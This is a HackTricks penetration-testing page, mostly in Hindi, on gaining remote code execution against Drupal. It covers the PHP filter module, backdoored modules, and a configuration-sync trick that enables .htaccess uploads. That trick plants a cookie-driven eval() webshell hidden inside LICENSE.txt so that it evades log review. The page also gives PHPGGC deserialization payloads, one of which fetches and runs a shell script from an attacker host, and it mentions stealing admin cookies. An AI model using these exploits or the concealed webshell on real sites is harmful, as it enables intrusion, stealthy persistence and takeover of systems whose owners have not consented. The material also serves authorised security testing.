Drupal RCE

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

PHP Filter Module के साथ

Warning

पुराने Drupal वर्ज़न में (before version 8) admin के रूप में लॉग इन करके और enable the PHP filter module, जो “Allows embedded PHP code/snippets to be evaluated.” संभव था। लेकिन version 8 से यह module डिफ़ॉल्ट रूप से इंस्टॉल नहीं आता।

  1. /modules/php पर जाएँ और अगर 403 त्रुटि लौटती है तो PHP filter plugin is installed and you can continue
  2. यदि नहीं, तो Modules में जाएँ और PHP Filter के बॉक्स को चेक करें और फिर Save configuration पर क्लिक करें
  3. फिर, इसे exploit करने के लिए, Add content पर क्लिक करें, फिर Basic Page या Article चुनें और PHP backdoor लिखें, फिर Text format में PHP code चुनें और अंत में Preview चुनें
  4. इसे ट्रिगर करने के लिए, बस नए बनाए गए node तक पहुँचें:
curl http://drupal.local/node/3

PHP Filter Module इंस्टॉल करें

Warning

वर्तमान संस्करणों में डिफ़ॉल्ट इंस्टॉलेशन के बाद केवल वेब एक्सेस से प्लगइन्स इंस्टॉल करना अब संभव नहीं है।

From version 8 onwards, the PHP Filter module is not installed by default. To leverage this functionality, we would have to install the module ourselves.

  1. Drupal वेबसाइट से मॉड्यूल का नवीनतम संस्करण डाउनलोड करें।
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. डाउनलोड हो जाने पर जाएँ Administration > Reports > Available updates.
  4. Browse पर क्लिक करें, उस डायरेक्टरी से फ़ाइल चुनें जहाँ हमने इसे डाउनलोड किया है, और फिर Install पर क्लिक करें।
  5. मॉड्यूल इंस्टॉल हो जाने के बाद हम Content पर क्लिक करके एक नया बेसिक पेज बना सकते हैं, वैसा ही जैसा हमने Drupal 7 के उदाहरण में किया था। फिर से, सुनिश्चित करें कि Text format ड्रॉपडाउन से PHP code चुनें।

बैकडोर किया गया मॉड्यूल

Warning

वर्तमान संस्करणों में डिफ़ॉल्ट इंस्टॉलेशन के बाद केवल वेब एक्सेस से प्लगइन्स इंस्टॉल करना अब संभव नहीं है।

यह संभव था कि एक download की हुई module में एक backdoor जोड़कर उसे install किया जाए। उदाहरण के लिए, संकुचित फ़ॉर्मैट में Trurnstile मॉड्यूल को डाउनलोड करना, उसके भीतर एक नया PHP backdoor फ़ाइल बनाना, और .htaccess फ़ाइल के साथ PHP फ़ाइल तक पहुँच की अनुमति देना:

<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

और फिर http://drupal.local/admin/modules/install पर जाकर backdoored module इंस्टॉल करें और /modules/turnstile/back.php को एक्सेस करके इसे execute करें।

Backdooring Drupal with Configuration synchronization

पोस्ट साझा किया गया Coiffeur0x90

भाग 1 (Media और Media Library को सक्रिय करना)

Extend मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से इंस्टॉल दिखाई देते हैं। डिफ़ॉल्ट रूप से, Media और Media Library प्लगइन्स सक्रिय नहीं दिखते, इसलिए आइए इन्हें सक्रिय करते हैं।

Before activation:

After activation:

भाग 2 (Configuration synchronization फीचर का उपयोग)

हम Configuration synchronization फीचर का उपयोग Drupal configuration entries को dump (export) और upload (import) करने के लिए करेंगे:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Patch system.file.yml

आइए पहले एंट्री allow_insecure_uploads को patch करके शुरू करें:

File: system.file.yml


...

allow_insecure_uploads: false

...

को:

फ़ाइल: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

फिर, दूसरे प्रविष्टि file_extensions को इस तरह से पैच करें:

फ़ाइल: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

प्रति:

फ़ाइल: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता/करती, लेकिन यह नोट किया गया है कि एंट्री file_directory को मनमाने तरीके से परिभाषित करना संभव है और यह path traversal attack के प्रति vulnerable है (इसलिए हम Drupal फ़ाइल सिस्टम ट्री के भीतर ऊपर की ओर वापस जा सकते हैं)।

भाग 3 (फ़ीचर Add Document का उपयोग)

अंतिम चरण सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला, .htaccess फॉर्मेट में एक फ़ाइल अपलोड करना है ताकि Apache निर्देशों का उपयोग करके .txt फ़ाइलों को PHP engine द्वारा interpret किए जाने की अनुमति मिल सके। दूसरा, हमारी payload रखने वाली एक .txt फ़ाइल अपलोड करना है।

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Why is this trick cool?

क्योंकि एक बार Webshell (जिसे हम LICENSE.txt कहेंगे ) को Web server पर डाल दिया जाता है, हम अपने कमांड्स $_COOKIE के जरिए भेज सकते हैं और Web server के logs में यह एक वैध GET request के रूप में एक text file के लिए दिखेगा।

Why name our Webshell LICENSE.txt?

सरल कारण यह है कि यदि हम निम्नलिखित file, उदाहरण के लिए core/LICENSE.txt लें (जो पहले से ही Drupal core में मौजूद है), तो हमारे पास 339 लाइनों और 17.6 KB आकार की एक फाइल है, जो बीच में एक छोटा सा PHP कोड स्निपेट जोड़ने के लिए परफेक्ट है (क्योंकि फाइल पर्याप्त बड़ी है)।

फ़ाइल: Patched LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (.htaccess फ़ाइल अपलोड करना)

सबसे पहले, हम Add Document (/media/add/document) फीचर का उपयोग करके अपनी फ़ाइल अपलोड करते हैं जिसमें Apache directives (.htaccess) शामिल हैं।

Part 3.2 (LICENSE.txt फ़ाइल अपलोड करना)

फिर, हम फिर से Add Document (/media/add/document) फीचर का उपयोग करके LICENSE.txt में छिपा हुआ एक Webshell अपलोड करते हैं।

Part 4 (Webshell के साथ इंटरैक्शन)

अंतिम भाग Webshell के साथ इंटरैक्ट करने से संबंधित है।

निम्न स्क्रीनशॉट में दिखाए अनुसार, अगर हमारी Webshell द्वारा अपेक्षित cookie परिभाषित नहीं है, तो फ़ाइल को वेब ब्राउज़र के माध्यम से देखते समय हमें निम्न परिणाम मिलता है।

जब हमलावर cookie सेट कर देता है, तो वह Webshell के साथ इंटरैक्ट कर सकता है और इच्छित कोई भी कमांड चला सकता है।

और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फ़ाइल का अनुरोध किया गया था।

इस लेख को पढ़ने के लिए समय निकालने के लिए धन्यवाद, आशा है कि यह आपको कुछ shells प्राप्त करने में मदद करेगा।

Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)

Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.

Practical exploitation workflow:

  1. Find the unserialize sink (contrib module or custom code). Grep codebase for unserialize( or Drupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports.
  2. Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
  1. serialized blob को sink पर भेजें (e.g., वह parameter जिसे deserialized किया जाता है). form-encoded body के लिए:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
  1. विनाश ट्रिगर करें (अक्सर अनुरोध के अंत में स्वचालित) और कमांड निष्पादित करें।

Notes for testing:

  • Gadget केवल उन संस्करणों पर काम करता है जो 10.2.11 / 10.3.9 / 7.102 से पहले हैं (patched). लक्षित संस्करण की पुष्टि /core/lib/Drupal.php या CHANGELOG.txt के माध्यम से करें।
  • तीसरे‑पक्ष DB drivers को अतिरिक्त hardening की आवश्यकता हो सकती है; उन तैनाती की तलाश करें जिन्होंने सुरक्षा अपडेट विंडो छोड़ दी हो।

Recent contrib-module unsafe deserialization → RCE

कुछ contrib modules ने 2024 के अंत में असुरक्षित unserialize() पाथ्स को फिक्स किया। यदि साइट पर ये अपडेट गायब हैं, तो ये आपको core gadget chain के लिए आवश्यक exploitable sink दे देते हैं:

  • Mailjet (<4.0.1, CVE-2024-13296): admin-नियंत्रित डेटा unserialize() को पास किया जाता है, जिससे core gadgets के साथ चेन होने पर PHP Object Injection → RCE सक्षम होता है।
  • Eloqua (7.x-1.x < 1.15, CVE-2024-13297): समान असुरक्षित unserialize() उपयोग, जिसे access administration pages वाले उपयोगकर्ता पहुँच सकते हैं।

Testing idea (authenticated):

phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import

यदि मॉड्यूल अपलोड किए गए डेटा को डीसिरियलाइज़ करता है, तो gadget chain RCE उत्पन्न कर सकता है। XSS/CSRF के साथ मिलाकर admin cookies चुराकर पूरा attack chain हासिल किया जा सकता है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें